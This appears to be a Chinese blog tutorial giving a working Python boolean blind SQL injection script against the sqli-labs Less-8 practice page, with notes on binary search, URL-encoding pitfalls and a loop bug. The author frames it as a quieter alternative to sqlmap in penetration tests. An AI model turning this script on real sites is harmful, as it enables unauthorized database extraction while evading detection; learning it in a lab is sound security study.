目录
相信师傅们在平常渗透测试中,偶尔会遇到布尔盲注的情况,但是手工的话太慢,上sqlmap流量又太大,特征太明显。所以用python脚本就是最优解,可以自定义user-agent等字段,注入速度等
代码实现
这里以sql-labs举例,代码比较粗糙,能用就行。话不多说,上代码
python
import requests
import math
# http://192.168.239.1/sqlilabs7/Less-8/?id=1' and length(database())>7--+
# http://192.168.239.1/sqlilabs7/Less-8/?id=1' and ascii(substr(database(),1,1))>114--+
url = "http://192.168.239.1/sqlilabs7/Less-8/"
def getdblength():
for i in range(20):
payload = f"1' and length(database())>{i}-- "
data = {'id': payload}
res = requests.get(url, params=data)
if 'You are in...........' not in res.text:
return i
def getdbname():
dbname = ''
length = getdblength()
for i in range(1, length + 1):
low = 32
high = 126
flag = 0
while low <= high:
mid = (low + high) // 2
payload = f"1' and ascii(substr(database(),{i},1))>{mid}-- "
data = {'id': payload}
res = requests.get(url, params=data)
if 'You are in...........' in res.text:
low = mid
else:
high = mid
if mid == flag:
dbname += chr(math.floor(mid + 1))
break
flag = mid
print(dbname)
return dbname
print('dbname is', getdbname())
代码解释
我定义了两个函数
getdblength() 获取数据库名长度,遍历1~20,查询出数据库名长度
getdbname() 获取数据库名,使用二分法查找,查询出数据库名
getdblength函数相信大家都能看懂,这里重点解释一下getdbname()函数
第一层for循环是substr的第二个参数,即从字符串的哪个字符位置截取数据库名(mysql的substr默认从1开始),范围也就是(1,length+1)
第二层while循环是与ascii码比较的参数,即截取出来的字符转ascii码后进行比较
这里的范围重点说一下,我这里用的是二分法查找,说明白点就是从一个范围的中位数查找,通过结果来缩小范围,比如第一层循环的范围的是32~126,那取中位数就是79,用79作为payload来判断结果是否为真,若为真,则说明答案在79~126之间,然后以这个范围再做为第二层循环的范围,以此类推
那为什么范围是32~126呢?
因为在ascii码中32~126包含了字符数字字母,32以下和127都是不可见字符,不可能出现在数据库名中
过程中遇到的问题
然后下面我来说说我在写脚本的过程中遇到的问题
1、+号url编码问题
在Python requests.get函数中,param参数会自动把参数内容进行URL编码,我们要的是-- ,+号在W3C官方文档中规定代替空格,而如果你在payload中再写入+号,此时+号再被url编码就变为了%2B,后端url解码后,mysql并不认识+号,所以无法正常查询
前面说到ascii码32~126是可见字符,说明下面的sql语句条件肯定成立,返回结果应该为真,但是这里看到为假,说明sql语句并没有被正常执行,%2B并没有被mysql正常解析
python
http://192.168.239.1/sqlilabs7/Less-8/?id=1' and ascii(substr(database(),1,1))>32--%2B
2、二分法查找
二分法查找,从一个范围的中位数查找,通过结果来缩小范围,速度比遍历快得不止一星半点儿。
因为中位数随时会变化,所以while循环比for循环更适合
3、如何判断这一次循环内的变量值等于上一次的值
这个问题我是思考得最久的,但现在回想起来也是最简单的,可能是因为太久没写脚本了,有点忘了
具体问题就是,在二分法循环查找的过程中,最后范围会缩小,low和high的差距会缩小为1,而mid此时也不会再变化,是一个固定的值,那如何把这个数取出来呢。
第一种思路
我开始想的是既然low和high最后的差距会缩小为1,那索性就写成
python
if high - low == 1:
dbname += chr(math.floor(mid))
break
但事实证明这是错误的,数据库名爆出来是 sebtq.... ,与原来的security的ascii码相差1,这个问题我思考了很久,为什么前面se是对的,后面的又不对?(这里忘截图了)
最后我在调试中发现,有些时候的查找情况并不相同
第一种情况
比如c这个字母的ascii码是99,那按照二分法查找的逻辑来,
首先99>79,为真,那范围就变成了79~126;
然后99>102(向下取整),为假,范围就变成了79~102;
99>90,为真,范围 90~102;
99>96,为真,范围 96~102;
99>99,为假,范围 96~99;
99>97,为真,范围 97~99;
99>98,为真,范围 98~99;
但此时就出问题了,if条件是high-low==1,满足条件,mid=98,ascii码转为b
第二种情况和第一种类似,但是有一些细微差距
s这个字母的ascii码是115
前面和上面一样,慢慢推
只是最后
115>117,为假,范围114~117
115>115,为假,范围114~115
此时进入if条件,mid=115,刚好为s
所以如果用这种方法来判断是行不通的,因为mid会随机-1或刚好是你想要的字母,你无法预见mid值是否会比正确的值-1
第二种思路
我发现二分查找到最后,mid会一直不变,都是同样一个数。
那有没有一种方法能够比较这一层循环的mid和上一层循环的mid呢?
那就是代码中flag变量的意义,代码中可以看到flag首先在循环外声明,然后在循环内将mid最终的值赋给了flag来保存这个值,然后if条件判断flag也就是上一层mid的值是否与这一层循环mid的值相同,如果相同,则保存
最后成功打印出了数据库名
这个方法很常见,但是我当时就是没想到,可能是太久没碰代码了,所以今天才写这篇文章来加深印象